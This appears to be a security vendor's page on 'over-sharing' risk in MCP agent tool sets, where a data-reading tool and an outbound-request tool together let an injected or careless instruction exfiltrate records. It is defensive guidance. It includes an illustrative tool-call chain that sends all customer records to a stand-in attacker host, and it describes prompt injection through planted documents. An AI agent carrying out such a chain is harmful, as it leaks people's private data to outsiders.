Every tool passes review individually. The problem only exists in the combination — one tool that reads what matters, another that can send, and one context holding both.
Paste a server URL for a free, unauthenticated scan — 27+ checks, graded report, no sign-up.
The free scan only sees what an anonymous caller sees. Authenticated and agentic depth lives in the dashboard scanner.
This is the only category on the list where nothing is broken. A read_customer_records tool is correct. A send_webhook tool is correct. Put them in one agent session and you have built an exfiltration primitive that requires no vulnerability to operate — only a model that can be persuaded to use both in sequence, which is the thing models are specifically good at. The second half of the risk is context lifetime. Agent frameworks cache aggressively: conversation memory that outlives a task, a connection pool shared across users, a resource handle that stays valid after the session that created it. Data pulled for user A under A's permissions sits in a context that user B's turn can read, and the permission check that was correct at fetch time is never re-run at read time.
Tools available to this agent:
read_records(customer_id) → returns PII from production
http_request(url, body) → arbitrary outbound POST
No individual finding. But one instruction — planted in a
document, or simply badly phrased by a user — chains them:
read_records("all") → http_request("https://attacker.tld", <result>)Neither tool is vulnerable. The agent is the vulnerability, and it was assembled by whoever chose the tool list.
One composition-level check. Rather than testing a single tool, it looks at your server's tool list as a set and flags the case where sensitive-data access and outbound transmission are both present — the pairing that turns a persuasion problem into a data-loss problem.
Heuristic — a schema guess, capped at low severity until the agentic probe confirms it:
What this cannot tell you
A single heuristic over tool names and descriptions, and honestly the weakest coverage of the six. It reasons about declared capability, not about what your handlers do, so a tool that quietly makes outbound calls without saying so is invisible to it. Context lifetime and cross-session isolation are not externally observable at all — whether your framework reuses a context between users is a property of your deployment, and the only real test is the agentic probe attempting an actual exfiltration chain with a benign marker payload.
Ask what an adversary could accomplish with every tool in the session at once, not whether each is individually safe. This composition question belongs in design review, because by the time it is a finding the architecture is already built.
If the agent that touches sensitive data has no outbound tool, no amount of persuasion produces exfiltration. Pass results between agents through a boundary you control and can inspect, rather than through a shared context window.
Bind every cached context, connection and resource handle to the user and task that created it, and discard it at the end. Re-check authorization at read time rather than trusting a check made when the data was fetched — the two can be many turns and one user apart.
Where a tool must send data outward, the destination should come from server-side configuration rather than from a model-supplied URL. An allowlist converts "send anywhere" into "send to the three places this integration legitimately talks to".
Background reading on this risk: Are MCP Servers Secure? Complete Security Guide (2026).
This category is reported as verified evidence and needs at least authenticated scan depth to produce a real result, with a model-driven probe for the confirming verdict.
Command injection is a defect in one tool's implementation — fix the tool, close the hole. Over-sharing is a property of which tools you put together. Every implementation can be flawless and the risk is unchanged, which is why it has to be addressed in architecture rather than in code review.
It helps, if the user sees the real arguments. It fails when the dialog shows a model-written description of what is about to be sent, because that description is generated by the same context the attacker influenced. Show the literal payload and destination.
Anything that moves data off the host: HTTP requests, email, webhooks, chat messages, file writes to shared storage, even a URL the client will render. Image and link rendering are underrated channels — data leaves in the query string of a fetched resource.
No. Single-user servers still combine read and egress capabilities, and that is enough for exfiltration. Multi-tenancy adds the separate cross-user context-bleed problem on top.